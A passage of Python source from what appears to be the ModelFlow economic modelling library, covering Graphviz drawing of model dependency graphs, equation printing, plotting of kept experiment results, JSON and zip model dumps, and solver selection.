\r\n linesout=hval+lper+lval+latt \r\n out = f'\"{v}\" [shape=box fillcolor= {self.color(v,navn)} margin=0.025 fontcolor=blue style=filled '+ (\r\n f\" label=< {linesout}
    > ]\")\r\n pass\r\n else:\r\n out = f'\"{v}\" [shape=box fillcolor= {self.color(v,navn)} margin=0.025 fontcolor=blue style=filled '+ (\r\n f\" label=<
    {v}
    > ]\")\r\n return out \r\n \r\n pre = 'Digraph TD { rankdir =\"HR\" \\n' if kwargs.get('HR',False) else 'Digraph TD { rankdir =\"LR\" \\n'\r\n nodes = '{node [margin=0.025 fontcolor=blue style=filled ] \\n '+ '\\n'.join([makenode(v) for v in nodelist])+' \\n} \\n'\r\n \r\n def getpw(v):\r\n try:\r\n return max(0.5,min(5.,abs(g[v.child][v.parent]['att'].iloc[0,-1])/20.))\r\n except:\r\n return 0.5\r\n \r\n if showatt:\r\n pw = [getpw(v) for v in ibh]\r\n else: \r\n pw= [1 for v in ibh]\r\n \r\n links = '\\n'.join([f'\"{v.child}\" -> \"{v.parent}\" [penwidth={p}]' for v,p in zip(ibh,pw)])\r\n \r\n \r\n psink = '\\n{ rank = sink; \"'+kwargs['sink'].upper()+'\" ; }' if kwargs.get('sink',False) else ''\r\n psource = '\\n{ rank = source; \"'+kwargs['source'].upper()+'\" ; }' if kwargs.get('source',False) else ''\r\n fname = kwargs.get('saveas',f'{navn} explained' if navn else \"A_model_graph\") \r\n \r\n ptitle = '\\n label = \"'+kwargs.get('title',fname)+'\";'\r\n post = '\\n}' \r\n\r\n out = pre+nodes+links+psink+psource+ptitle+post \r\n tpath=os.path.join(os.getcwd(),'graph')\r\n if not os.path.isdir(tpath):\r\n try:\r\n os.mkdir(tpath)\r\n except: \r\n print(\"ModelFlow: Can't create folder for graphs\")\r\n return \r\n # filename = os.path.join(r'graph',navn+'.gv')\r\n filename = os.path.join(tpath,fname+'.gv')\r\n pngname = '\"'+os.path.join(tpath,fname+'.png')+'\"'\r\n svgname = '\"'+os.path.join(tpath,fname+'.svg')+'\"'\r\n pdfname = '\"'+os.path.join(tpath,fname+'.pdf')+'\"'\r\n epsname = '\"'+os.path.join(tpath,fname+'.eps')+'\"'\r\n\r\n with open(filename,'w') as f:\r\n f.write(out)\r\n# run('dot -Tsvg -Gsize=19,19\\! -o'+svgname+' \"'+filename+'\"',shell=True) # creates the drawing \r\n# run('dot -Tpng -Gsize=9,9\\! -o'+pngname+' \"'+filename+'\"',shell=True) # creates the drawing \r\n# run('dot -Tpdf -Gsize=9,9\\! -o'+pdfname+' \"'+filename+'\"',shell=True) # creates the drawing \r\n run(f'dot -Tsvg -Gsize={size[0]},{size[1]}\\! -o{svgname} \"{filename}\"',shell=True) # creates the drawing \r\n run(f'dot -Tpng -Gsize={size[0]},{size[1]}\\! -o{pngname} \"{filename}\"',shell=True) # creates the drawing \r\n run(f'dot -Tpdf -Gsize={size[0]},{size[1]}\\! -o{pdfname} \"{filename}\"',shell=True) # creates the drawing \r\n\r\n# run('dot -Teps -Gsize=9,9\\! -o'+epsname+' \"'+filename+'\"',shell=True) # creates the drawing \r\n if 'svg' in kwargs:\r\n display(SVG(filename=svgname[1:-1]))\r\n else: \r\n display(Image(filename=pngname[1:-1]))\r\n \r\n if kwargs.get('pdf',False) : os.system(pdfname)\r\n if kwargs.get('browser',False) : wb.open(svgname,new=2)\r\n \r\n return \r\n \r\n def gdraw(self,g,**kwargs):\r\n '''draws a graph of of the whole model''' \r\n out=self.todot(g,**kwargs)\r\n return out\r\n\r\n\r\n def todot2(self,alledges,navn='',browser=False,**kwargs):\r\n ''' makes a drawing of all edges in list alledges\r\n all is the edges\r\n \r\n \r\n :all: show values for .dfbase and .dflaste\r\n :last: show the values for .dflast \r\n :sink: variale to use as sink \r\n :source: variale to use as ssource \r\n :svg: Display the svg image in browser\r\n :pdf: display the pdf result in acrobat reader \r\n :saveas: Save the drawing as name \r\n :size: figure size default (6,6)\r\n :warnings: warnings displayed in command console, default =False \r\n :invisible: set of invisible nodes \r\n :labels: dict of labels for edges \r\n :transdic: dict of translations for consolidation of nodes {'SHOCK[_A-Z]*__J':'SHOCK__J','DEV__[_A-Z]*':'DEV'}\r\n :dec: decimal places in numbers\r\n :HR: horisontal orientation default = False \r\n \r\n \r\n''' \r\n \r\n \r\n invisible = kwargs.get('invisible',set())\r\n labelsdic = kwargs.get('labels',{})\r\n size=kwargs.get('size',(6,6))\r\n \r\n class defsub(dict):\r\n '''A subclass of dict.\r\n if a *defsub* is indexed by a nonexisting keyword it just return the keyword '''\r\n \r\n def __missing__(self, key):\r\n return key \r\n #%\r\n labels = defsub(labelsdic)\r\n \r\n def stylefunk(n1=None,n2=None,invisible=set()):\r\n if n1 in invisible or n2 in invisible:\r\n if n2:\r\n return 'style = invisible arrowhead=none '\r\n else: \r\n return 'style = invisible '\r\n\r\n else:\r\n# return ''\r\n return 'style = filled'\r\n def stylefunkhtml(n1=None,invisible=set()):\r\n# return ''\r\n if n1 in invisible:\r\n return 'style = \"invisible\" '\r\n else:\r\n return 'style = \"filled\"'\r\n \r\n if 'transdic' in kwargs:\r\n alllinks = (node(x.lev,self.trans(x.parent,navn,kwargs['transdic']),self.trans(x.child,navn,kwargs['transdic'])) for x in alledges)\r\n elif hasattr(self, 'transdic'):\r\n alllinks = (node(x.lev,self.trans(x.parent,navn,self.transdic) ,self.trans(x.child,navn,self.transdic)) for x in alledges)\r\n else:\r\n alllinks = alledges \r\n \r\n \r\n ibh = {node(0,x.parent,x.child) for x in alllinks} # To weed out multible links \r\n #\r\n nodelist = {n for nodes in ibh for n in (nodes.parent,nodes.child)}\r\n# print(nodelist)\r\n def makenode(v):\r\n if kwargs.get('last',False) or kwargs.get('all',False):\r\n try:\r\n t = pt.udtryk_parse(v,funks=[])\r\n var=t[0].var\r\n lag=int(t[0].lag) if t[0].lag else 0\r\n dec = kwargs.get('dec',3)\r\n bvalues = [float(get_a_value(self.basedf,per,var,lag)) for per in self.current_per] if kwargs.get('all',False) else 0\r\n lvalues = [float(get_a_value(self.lastdf,per,var,lag)) for per in self.current_per] if kwargs.get('last',False) or kwargs.get('all',False) else 0\r\n dvalues = [float(get_a_value(self.lastdf,per,var,lag)-get_a_value(self.basedf,per,var,lag)) for per in self.current_per] if kwargs.get('all',False) else 0 \r\n per = \"Per\"+''.join([ ''+(f'{p}'.strip()+'').strip() for p in self.current_per])+'' \r\n base = \"Base\"+''.join([ \"\"+(f'{b:{25},.{dec}f}'.strip()+'').strip() for b in bvalues])+'' if kwargs.get('all',False) else '' \r\n last = \"Last\"+''.join([ \"\"+(f'{b:{25},.{dec}f}'.strip()+'').strip() for b in lvalues])+'' if kwargs.get('last',False) or kwargs.get('all',False) else '' \r\n dif = \"Diff\"+''.join([ \"\"+(f'{b:{25},.{dec}f}'.strip()+'').strip() for b in dvalues])+'' if kwargs.get('all',False) else '' \r\n# tip= f' tooltip=\"{self.allvar[var][\"frml\"]}\"' if self.allvar[var]['endo'] else f' tooltip = \"{v}\" ' \r\n out = f'\"{v}\" [shape=box fillcolor= {self.color(v,navn)} margin=0.025 fontcolor=blue {stylefunk(var,invisible=invisible)} '+ (\r\n f\" label=<{per} {base}{last}{dif}
    {labels[v]}
    > ]\")\r\n pass \r\n\r\n except:\r\n out = f'\"{v}\" [shape=box fillcolor= {self.color(v,navn)} margin=0.025 fontcolor=blue {stylefunk(var,invisible=invisible)} '+ (\r\n f\" label=<
    {labels[v]}
    Condensed
    > ]\")\r\n else:\r\n out = f'\"{v}\" [shape=box fillcolor= {self.color(v,navn)} margin=0.025 fontcolor=blue {stylefunk(v,invisible=invisible)} '+ (\r\n f\" label=<
    {labels[v]}
    > ]\")\r\n return out \r\n \r\n pre = 'Digraph TD {rankdir =\"HR\" \\n' if kwargs.get('HR',True) else 'Digraph TD { rankdir =\"LR\" \\n'\r\n nodes = '{node [margin=0.025 fontcolor=blue style=filled ] \\n '+ '\\n'.join([makenode(v) for v in nodelist])+' \\n} \\n'\r\n \r\n links = '\\n'.join(['\"'+v.child+'\" -> \"'+v.parent+'\"' + f'[ {stylefunk(v.child,v.parent,invisible=invisible)} ]' for v in ibh ])\r\n \r\n psink = '\\n{ rank = sink; \"' +kwargs['sink'] +'\" ; }' if kwargs.get('sink',False) else ''\r\n psource = '\\n{ rank = source; \"'+kwargs['source']+'\" ; }' if kwargs.get('source',False) else ''\r\n clusterout=''\r\n if kwargs.get('cluster',False): # expect a dict with clustername as key and a list of nodes as content \r\n clusterdic = kwargs.get('cluster',False)\r\n \r\n for i,(c,cl) in enumerate(clusterdic.items()):\r\n varincluster = ' '.join([f'\"{v.upper()}\"' for v in cl])\r\n clusterout = clusterout + f'\\n subgraph cluster{i} {{ {varincluster} ; label = \"{c}\" ; color=lightblue ; style = filled ;fontcolor = yellow}}' \r\n \r\n fname = kwargs.get('saveas',navn if navn else \"A_model_graph\") \r\n ptitle = '\\n label = \"'+kwargs.get('title',fname)+'\";'\r\n post = '\\n}' \r\n\r\n out = pre+nodes+links+psink+psource+clusterout+ptitle+post \r\n tpath=os.path.join(os.getcwd(),'graph')\r\n if not os.path.isdir(tpath):\r\n try:\r\n os.mkdir(tpath)\r\n except: \r\n print(\"ModelFlow: Can't create folder for graphs\")\r\n return \r\n # filename = os.path.join(r'graph',navn+'.gv')\r\n filename = os.path.join(tpath,fname+'.gv')\r\n pngname = '\"'+os.path.join(tpath,fname+'.png')+'\"'\r\n svgname = '\"'+os.path.join(tpath,fname+'.svg')+'\"'\r\n pdfname = '\"'+os.path.join(tpath,fname+'.pdf')+'\"'\r\n epsname = '\"'+os.path.join(tpath,fname+'.eps')+'\"'\r\n\r\n with open(filename,'w') as f:\r\n f.write(out)\r\n warnings = \"\" if kwargs.get(\"warnings\",False) else \"-q\" \r\n# run('dot -Tsvg -Gsize=9,9\\! -o'+svgname+' \"'+filename+'\"',shell=True) # creates the drawing \r\n run(f'dot -Tsvg -Gsize={size[0]},{size[1]}\\! -o{svgname} \"{filename}\" {warnings} ',shell=True) # creates the drawing \r\n run(f'dot -Tpng -Gsize={size[0]},{size[1]}\\! -Gdpi=300 -o{pngname} \"{filename}\" {warnings} ',shell=True) # creates the drawing \r\n run(f'dot -Tpdf -Gsize={size[0]},{size[1]}\\! -o{pdfname} \"{filename}\" {warnings} ',shell=True) # creates the drawing \r\n # run('dot -Tpdf -Gsize=9,9\\! -o'+pdfname+' \"'+filename+'\"',shell=True) # creates the drawing \r\n # run('dot -Teps -Gsize=9,9\\! -o'+epsname+' \"'+filename+'\"',shell=True) # creates the drawing \r\n\r\n if 'svg' in kwargs:\r\n display(SVG(filename=svgname[1:-1]))\r\n else: \r\n display(Image(filename=pngname[1:-1]))\r\n if browser: wb.open(svgname,new=2)\r\n if kwargs.get('pdf',False) : os.system(pdfname)\r\n\r\n # run('%windir%\\system32\\mspaint.exe '+ pngname,shell=True) # display the drawing \r\n return \r\n\r\n \r\nclass Display_Mixin():\r\n \r\n def vis(self,*args,**kwargs):\r\n ''' Visualize the data of this model instance \r\n if the user has another vis class she can place it in _vis, then that will be used'''\r\n if not hasattr(self,'_vis'):\r\n self._vis = mv.vis\r\n return self._vis(self,*args,**kwargs)\r\n\r\n def varvis(self,*args,**kwargs):\r\n return mv.varvis(self,*args,**kwargs)\r\n\r\n \r\n def compvis(self,*args,**kwargs):\r\n return mv.compvis(self,*args,**kwargs)\r\n \r\n def write_eq(self,name='My_model.fru',lf=True):\r\n ''' writes the formulas to file, can be input into model \r\n\r\n lf=True -> new lines are put after each frml ''' \r\n with open(name,'w') as out:\r\n outfrml = self.equations.replace('$','$\\n') if lf else self.equations \r\n \r\n out.write(outfrml)\r\n\r\n \r\n def print_eq(self, varnavn, data='', start='', slut=''):\r\n #from pandabank import get_var\r\n '''Print all variables that determines input variable (varnavn)\r\n optional -- enter period and databank to get var values for chosen period'''\r\n print_per=self.smpl(start, slut,data)\r\n minliste = [(term.var, term.lag if term.lag else '0')\r\n for term in self.allvar[varnavn]['terms'] if term.var]\r\n print (self.allvar[varnavn]['frml'])\r\n print('{0:50}{1:>5}'.format('Variabel', 'Lag'), end='')\r\n print(''.join(['{:>20}'.format(str(per)) for per in print_per]))\r\n\r\n for var,lag in sorted(set(minliste), key=lambda x: minliste.index(x)):\r\n endoexo='E' if self.allvar[var]['endo'] else 'X'\r\n print(endoexo+': {0:50}{1:>5}'.format(var, lag), end='')\r\n print(''.join(['{:>20.4f}'.format(data.loc[per+int(lag),var]) for per in print_per]))\r\n print('\\n')\r\n return \r\n \r\n def print_eq_values(self,varname,databank=None,all=False,dec=1,lprint=1,per=None):\r\n ''' for an endogeneous variable, this function prints out the frml and input variale\r\n for each periode in the current_per. \r\n The function takes special acount of dataframes and series '''\r\n res = self.get_eq_values(varname,showvar=True,databank=databank,per=per)\r\n out = ''\r\n if type(res) != type(None):\r\n varlist = res.index.tolist()\r\n maxlen = max(len(v) for v in varlist)\r\n out +=f'\\nCalculations of {varname} \\n{self.allvar[varname][\"frml\"]}'\r\n for per in res.columns:\r\n out+=f'\\n\\nLooking at period:{per}'\r\n for v in varlist:\r\n this = res.loc[v,per]\r\n if type(this) == pd.DataFrame:\r\n vv = this if all else this.loc[(this != 0.0).any(axis=1),(this != 0.0).any(axis=0)]\r\n out+=f'\\n: {v:{maxlen}} = \\n{vv.to_string()}\\n'\r\n elif type(this) == pd.Series:\r\n ff = this.astype('float') \r\n vv = ff if all else ff.iloc[ff.nonzero()[0]]\r\n out+=f'\\n{v:{maxlen}} = \\n{ff.to_string()}\\n'\r\n else:\r\n out+=f'\\n{v:{maxlen}} = {this:>20}'\r\n \r\n if lprint:\r\n print(out)\r\n else: \r\n return out \r\n \r\n def print_all_eq_values(self,databank=None,dec=1):\r\n for v in self.solveorder:\r\n self.print_eq_values(v,databank,dec=dec)\r\n \r\n \r\n \r\n def print_eq_mul(self, varnavn, grund='',mul='', start='', slut='',impact=False):\r\n #from pandabank import get_var\r\n '''Print all variables that determines input variable (varnavn)\r\n optional -- enter period and databank to get var values for chosen period'''\r\n grund.smpl(start, slut)\r\n minliste = [[term.var, term.lag if term.lag else '0']\r\n for term in self.allvar[varnavn]['terms'] if term.var]\r\n print (self.allvar[varnavn]['frml'])\r\n print('{0:50}{1:>5}'.format('Variabel', 'Lag'), end='')\r\n for per in grund.current_per:\r\n per = str(per)\r\n print('{:>20}'.format(per), end='')\r\n print('')\r\n diff=mul.data-grund.data\r\n endo=minliste[0]\r\n for item in minliste:\r\n target_column = diff.columns.get_loc(item[0])\r\n print('{0:50}{1:>5}'.format(item[0], item[1]), end='')\r\n for per in grund.current_per:\r\n target_index = diff.index.get_loc(per) + int(item[1])\r\n tal=diff.iloc[target_index, target_column]\r\n tal2=tal*self.diffvalue_d3d if impact else 1\r\n print('{:>20.4f}'.format(tal2 ), end='')\r\n print(' ')\r\n\r\n def print_all_equations(self, inputdata, start, slut):\r\n '''Print values and formulas for alle equations in the model, based input database and period \\n\r\n Example: stress.print_all_equations(bankdata,'2013Q3')'''\r\n for var in self.solveorder:\r\n # if var.find('DANSKE')<>-2:\r\n self.print_eq(var, inputdata, start, slut)\r\n print ('\\n' * 3)\r\n\r\n def print_lister(self):\r\n ''' prints the lists used in defining the model ''' \r\n for i in self.lister:\r\n print(i)\r\n for j in self.lister[i]:\r\n print(' ' * 5 , j , '\\n' , ' ' * 10, [xx for xx in self.lister[i][j]])\r\n \r\n \r\n \r\n def keep_plot(self,pat='*',start='',slut='',start_ofset=0,slut_ofset=0,title='Show variables',trans={},legend=True,showfig=False,diff=True):\r\n '''Plots variables from experiments'''\r\n \r\n try:\r\n # breakpoint()\r\n res = self.keep_get_dict(pat,start,slut,start_ofset,slut_ofset)\r\n vis = mj.keepviz(res,title=title, trans=trans,legend=legend,showfig=False)\r\n figs = [vis.plot_level(v) for v in res.keys()]\r\n return figs\r\n except:\r\n print('no keept solution')\r\n \r\n \r\n def keep_print(self,pat='*',start='',slut='',start_ofset=0,slut_ofset=0,diff=True):\r\n \"\"\" prints variables from experiments look at keep_get_dict for options\r\n \"\"\"\r\n \r\n try:\r\n res = self.keep_get_dict(pat,start,slut,start_ofset,slut_ofset,diff)\r\n for v,outdf in res.items():\r\n if diff:\r\n print(f'\\nVariable {v} Difference to first column')\r\n else:\r\n print(f'\\nVariable {v}')\r\n print(outdf)\r\n except:\r\n print('no keept solutions')\r\n \r\n def keep_get_df(self,pat='*'):\r\n if len(self.keep_solutions) == 0:\r\n print('No keept solutions')\r\n return\r\n allvars = list({c for k,df in self.keep_solutions.items() for c in df.columns})\r\n vars = self.list_names(allvars,pat)\r\n res = []\r\n for v in vars: \r\n outv = pd.concat([solution.loc[self.current_per,v] for solver,solution in self.keep_solutions.items()],axis=1)\r\n outv.columns = pd.MultiIndex.from_tuples([(v,k) for k in self.keep_solutions.keys()])\r\n res.append(outv)\r\n \r\n out = pd.concat(res,axis=1)\r\n out.columns.names = ('Variable','Experiment')\r\n return out \r\n \r\n def keep_get_dict(self,pat='*',start='',slut='',start_ofset=0,slut_ofset=0,diff=False):\r\n \"\"\"\r\n Returns a dict of the keept experiments. Key is the variable names, values are a dataframe with variable values for each experiment\r\n \r\n \r\n\r\n Args:\r\n pat (TYPE, optional): variable selection. Defaults to '*'.\r\n start (TYPE, optional): start period. Defaults to ''.\r\n slut (TYPE, optional): end period. Defaults to ''.\r\n start_ofset (TYPE, optional): start ofset period. Defaults to 0.\r\n slut_ofset (TYPE, optional): end ofste period. Defaults to 0.\r\n\r\n Returns:\r\n res (dictionary): a dict with a dataframe for each experiment \r\n\r\n \"\"\"\r\n if len(self.keep_solutions) == 0:\r\n print('No keept solutions')\r\n return\r\n allvars = list({c for k,df in self.keep_solutions.items() for c in df.columns})\r\n vars = self.list_names(allvars,pat)\r\n res = {}\r\n with self.set_smpl(start,slut) as a, self.set_smpl_relative(start_ofset,slut_ofset) :\r\n for v in vars: \r\n outv = pd.concat([solution.loc[self.current_per,v] for solver,solution in self.keep_solutions.items()],axis=1)\r\n outv.columns = [k for k in self.keep_solutions.keys()]\r\n outv.columns.names = ['Experiment']\r\n res[v] = outv.subtract(outv.iloc[:,0],axis=0) if diff else outv\r\n return res \r\n \r\n def inputwidget(self,start='',slut='',basedf = None, **kwargs):\r\n ''' calls modeljupyter input widget, and keeps the period scope ''' \r\n if type(basedf) == type(None):\r\n with self.set_smpl(start=start,slut=slut):\r\n return mj.inputwidget(self,self.basedf,**kwargs)\r\n else: \r\n tempdf = insertModelVar(basedf,self)\r\n self.basedf = tempdf\r\n with self.set_smpl(start=start,slut=slut): \r\n return mj.inputwidget(self,self.basedf,**kwargs)\r\n \r\n \r\n\r\n @staticmethod\r\n def plot_basis(var,df,title='',suptitle='',legend=True,scale='linear',trans={},dec='', \r\n ylabel='',yunit =''):\r\n import matplotlib.pyplot as plt \r\n import matplotlib as mpl\r\n import matplotlib.ticker as ticker\r\n import numpy as np\r\n import matplotlib.dates as mdates\r\n import matplotlib.cbook as cbook\r\n import seaborn as sns \r\n from modelhelp import finddec\r\n \r\n years = mdates.YearLocator() # every year\r\n months = mdates.MonthLocator() # every month\r\n years_fmt = mdates.DateFormatter('%Y')\r\n \r\n fig,ax = plt.subplots(figsize=(10,6))\r\n ax.set_title(f'{title} {trans.get(var,var)}',fontsize=14)\r\n fig.suptitle(suptitle,fontsize=16)\r\n if legend :\r\n ax.spines['right'].set_visible(True)\r\n else:\r\n ax.spines['right'].set_visible(False)\r\n \r\n index_len = len(df.index)\r\n \r\n if 0:\r\n #df.set_index(pd.date_range('2020-1-1',periods = index_len,freq = 'q'))\r\n df.index = pd.date_range(f'{df.index[0]}-1-1',periods = index_len,freq = 'Y')\r\n ax.xaxis.set_minor_locator(years)\r\n\r\n # df.index = [20 + i for i in range(index_len)]\r\n ax.spines['top'].set_visible(False)\r\n \r\n try:\r\n xval = df.index.to_timestamp()\r\n except:\r\n xval = df.index\r\n for i,col in enumerate(df.loc[:,df.columns]):\r\n yval = df[col]\r\n ax.plot(xval,yval,label=col,linewidth=3.0)\r\n x_pos = xval[-1]\r\n if not legend:\r\n ax.text(x_pos, yval.iloc[-1] ,f' {col}',fontsize=14)\r\n if legend: \r\n ax.legend()\r\n # ax.xaxis.set_minor_locator(ticker.MultipleLocator(years))\r\n # breakpoint()\r\n ax.set_yscale(scale)\r\n ax.set_ylabel(f'{ylabel}', fontsize=15,rotation='horizontal', ha='left',va='baseline')\r\n xdec = str(dec) if dec else finddec(df)\r\n ax.yaxis.set_label_coords(-0.1,1.02)\r\n if scale == 'linear' or 1:\r\n pass\r\n ax.yaxis.set_major_formatter(ticker.FuncFormatter(lambda value,number: f'{value:,.{xdec}f} {yunit}'))\r\n else: \r\n formatter = ticker.ScalarFormatter()\r\n formatter.set_scientific(False)\r\n ax.yaxis.set_major_formatter(formatter)\r\n \r\n return fig\r\n \r\n def keep_plot(self,pat='*',start='',slut='',start_ofset=0,slut_ofset=0,showtype='level', \r\n diff = False ,mul=1.0,\r\n title='Show variables',legend=True,scale='linear',yunit='',ylabel='',dec='',\r\n trans = {},\r\n showfig=False):\r\n \"\"\"\r\n \r\n\r\n Args:\r\n pat (string, optional): Variable selection. Defaults to '*'.\r\n start (TYPE, optional): start periode. Defaults to ''.\r\n slut (TYPE, optional): end periode. Defaults to ''.\r\n start_ofset (int, optional): start periode relativ ofset to current. Defaults to 0.\r\n slut_ofset (int, optional): end period, relativ ofset to current. Defaults to 0.\r\n showtype (str, optional): 'level','growth' or øchange' transformation of data. Defaults to 'level'.\r\n diff (Logical, optional): if True shows the difference to the first experiment. Defaults to False.\r\n mul (float, optional): multiplier of data. Defaults to 1.0.\r\n title (TYPE, optional): DESCRIPTION. Defaults to 'Show variables'.\r\n legend (TYPE, optional): if False, expanations on the right of curve. Defaults to True.\r\n scale (TYPE, optional): 'log' og 'linear'. Defaults to 'linear'.\r\n yunit (TYPE, optional): DESCRIPTION. Defaults to ''.\r\n ylabel (TYPE, optional): DESCRIPTION. Defaults to ''.\r\n dec (TYPE, optional): decimals if '' automated. Defaults to ''.\r\n trans (TYPE, optional): . Translation dict for variable names. Defaults to {}.\r\n showfig (TYPE, optional): Time will come . Defaults to False.\r\n\r\n Returns:\r\n figs (dict): dict of the generated figures. \r\n\r\n \"\"\"\r\n \r\n try: \r\n dfs = self.keep_get_dict(pat,start,slut,start_ofset,slut_ofset)\r\n if showtype == 'growth':\r\n dfs = {v: vdf.pct_change()*100. for v,vdf in dfs.items()}\r\n dftype = 'Growth'\r\n \r\n elif showtype == 'change':\r\n dfs = {v: vdf.diff() for v,vdf in dfs.items()}\r\n dftype = 'change'\r\n \r\n else:\r\n dftype ='Variable'\r\n \r\n if diff : \r\n dfsres = {v: vdf.subtract(vdf.iloc[:,0],axis=0) for v,vdf in dfs.items()}\r\n else: \r\n dfsres = dfs\r\n \r\n \r\n\r\n figs = {v:self.plot_basis(v,(df.iloc[:,1:] if diff else df)*mul,legend=legend,\r\n scale=scale,trans=trans,\r\n title=f'Difference to \"{df.columns[0]}\" for {dftype}:' if diff else f'{dftype}:',\r\n yunit = yunit,\r\n ylabel = 'Percent' if showtype == 'growth' else ylabel,\r\n dec = 2 if showtype == 'growth' and not dec else dec) \r\n for v,df in dfsres.items()}\r\n return figs\r\n except ZeroDivisionError:\r\n print('no keept solution')\r\n \r\n def keep_viz(self,pat='*'):\r\n '''A utility function which shows selected variables over a selected timespan'''\r\n from ipywidgets import interact, Dropdown, Checkbox, IntRangeSlider,SelectMultiple, Layout\r\n from ipywidgets import interactive\r\n \r\n minper = self.lastdf.index[0]\r\n maxper = self.lastdf.index[-1]\r\n defaultvar = self.vlist(pat)\r\n def explain(smpl ,vars):\r\n with self.set_smpl(*smpl):\r\n figs = self.keep_plot(' '.join(vars),diff=0,legend=1,dec='0')\r\n \r\n show = interactive(explain,\r\n smpl = IntRangeSlider(value=[self.current_per[0],200],min = minper, max=maxper,layout=Layout(width='75%'),description='Show interval'),\r\n vars = SelectMultiple(value = defaultvar,options=sorted(self.endogene)\r\n ,layout=Layout(width='50%', height='200px'),\r\n description='One or more'))\r\n \r\n display(show)\r\n return\r\n\r\nfrom pathlib import Path\r\nimport json\r\nfrom io import StringIO\r\n\r\nclass Json_Mixin():\r\n '''This mixin class can dump a model and solution\r\n as json serialiation to a file. \r\n \r\n allows the precooking of a model and solution, so \r\n a user can use a model without specifying it in \r\n a session. \r\n ''' \r\n \r\n def modeldump(self,outfile=''):\r\n '''Dumps a model and its lastdf to a json file'''\r\n \r\n dumpjson = {\r\n 'version':'1.00',\r\n 'frml' : self.equations,\r\n 'lastdf' : self.lastdf.to_json(),\r\n 'current_per':pd.Series(self.current_per).to_json(),\r\n 'modelname' : self.name} \r\n \r\n if outfile != '':\r\n pathname = Path(outfile)\r\n pathname.parent.mkdir(parents = True, exist_ok = True)\r\n with open(outfile,'wt') as f:\r\n json.dump(dumpjson,f)\r\n else:\r\n return json.dumps(dumpjson)\r\n \r\n @classmethod \r\n def modelload(cls,infile,funks=[]):\r\n '''Loads a model and an solution '''\r\n \r\n \r\n with open(infile,'rt') as f: \r\n input = json.load(f)\r\n \r\n version = input['version']\r\n frml = input['frml']\r\n lastdf = pd.read_json(input['lastdf'])\r\n current_per = pd.read_json(input['current_per'],typ='series').values\r\n modelname = input['modelname']\r\n \r\n mmodel = cls(frml,modelname=modelname,funks=funks)\r\n # res = mmodel(lastdf,current_per[0],current_per[-1])\r\n return mmodel,lastdf \r\n\r\nclass Zip_Mixin():\r\n def modeldump2(self,outfile=''):\r\n outname = self.name if outfile == '' else outfile\r\n\r\n cache_dir = Path('__pycache__')\r\n self.modeldump(f'{outname}.mf')\r\n with zipfile.ZipFile( f'{outname}_dump.zip', 'w' , zipfile.ZIP_DEFLATED ) as f:\r\n f.write(f'{outname}.mf')\r\n for c in Path().glob(f'{self.name}_*_jitsolver.*'):\r\n f.write(c)\r\n for c in cache_dir.glob(f'{self.name}_*.*'):\r\n f.write(c)\r\n \r\n @classmethod\r\n def modelload2(cls,name):\r\n with zipfile.ZipFile( f'{name}_dump.zip', 'r') as f:\r\n f.extractall()\r\n \r\n mmodel,df = cls.modelload(f'{name}.mf') \r\n return mmodel,df\r\n \r\nclass Solver_Mixin():\r\n DEFAULT_relconv = 0.0000001\r\n \r\n \r\n def __call__(self, *args, **kwargs ):\r\n ''' Runs a model. \r\n \r\n Default a straight model is calculated by *xgenr* a simultaneous model is solved by *sim* \r\n \r\n :sim: If False forces a model to be calculated (not solved) if True force simulation \r\n :setbase: If True, place the result in model.basedf \r\n :setlast: if False don't place the results in model.lastdf\r\n \r\n if the modelproperty previousbase is true, the previous run is used as basedf. \r\n \r\n \r\n '''\r\n if kwargs.get('antal',False):\r\n assert 1==2,'Antal is not a valid simulation option, Use max_iterations'\r\n self.dumpdf = None \r\n\r\n if kwargs.get('reset_options',False):\r\n self.oldkwargs = {}\r\n\r\n if hasattr(self,'oldkwargs'):\r\n newkwargs = {**self.oldkwargs,**kwargs}\r\n else:\r\n newkwargs = kwargs\r\n \r\n self.oldkwargs = newkwargs.copy()\r\n \r\n self.save = newkwargs.get('save',self.save)\r\n \r\n if self.save:\r\n if self.previousbase and hasattr(self,'lastdf'):\r\n self.basedf = self.lastdf.copy(deep=True)\r\n\r\n if self.maxlead >= 1:\r\n if self.normalized:\r\n solverguess = 'newtonstack'\r\n else:\r\n solverguess = 'newtonstack_un_normalized' \r\n else:\r\n if self.normalized:\r\n if self.istopo :\r\n solverguess = 'xgenr'\r\n else:\r\n solverguess = 'sim'\r\n else:\r\n solverguess = 'newton_un_normalized'\r\n \r\n solver = newkwargs.get('solver',solverguess)\r\n self.model_solver = getattr(self,solver)\r\n # print(f'solver:{solver},solverkwargs:{newkwargs}')\r\n # breakpoint()\r\n outdf = self.model_solver(*args, **newkwargs ) \r\n\r\n if newkwargs.get('keep',''):\r\n if newkwargs.get('keep_variables',''): \r\n keepvar = self.vlist(newkwargs.get('keep_variables',''))\r\n self.keep_solutions[newkwargs.get('keep','')] = outdf.loc[:,keepvar].copy()\r\n else:\r\n self.keep_solutions[newkwargs.get('keep','')] = outdf.copy()\r\n\r\n\r\n if self.save:\r\n if (not hasattr(self,'basedf')) or newkwargs.get('setbase',False) :\r\n self.basedf = outdf.copy(deep=True) \r\n if newkwargs.get('setlast',True) :\r\n self.lastdf = outdf.copy(deep=True)\r\n \r\n return outdf\r\n\r\n \r\n @property \r\n def showstartnr(self):\r\n self.findpos()\r\n variabler=[x for x in sorted(self.allvar.keys())]\r\n return {v:self.allvar[v]['startnr'] for v in variabler} \r\n \r\n\r\n \r\n\r\n def makelos(self,databank,ljit=0,stringjit=0,\r\n solvename='sim',chunk=30,transpile_reset=False,\r\n silent=True,**kwargs): \r\n jitname = f'{self.name}_{solvename}_jit'\r\n nojitname = f'{self.name}_{solvename}_nojit'\r\n if solvename == 'sim': \r\n solveout=partial(self.outsolve2dcunk,databank,chunk=chunk,ljit=ljit, debug=kwargs.get('debug',1))\r\n elif solvename == 'sim1d':\r\n solveout = partial(self.outsolve1dcunk,chunk=chunk,ljit=ljit, \r\n debug=kwargs.get('debug',1),cache=kwargs.get('cache','False'))\r\n elif solvename == 'newton':\r\n solveout = partial(self.outsolve2dcunk,databank,chunk=chunk,ljit=ljit, debug=kwargs.get('debug',1),type='res')\r\n \r\n if not silent: print(f'Create compiled solving function for {self.name}') \r\n if ljit:\r\n if transpile_reset or not hasattr(self,f'pro_{jitname}'): \r\n if stringjit:\r\n if not silent: print(f'now makelos makes a {solvename} jit function')\r\n self.make_los_text_jit = solveout()\r\n exec(self.make_los_text_jit,globals()) # creates the los function\r\n pro_jit,core_jit,epi_jit = make_los(self.funks,self.errfunk)\r\n else:\r\n jitfile = 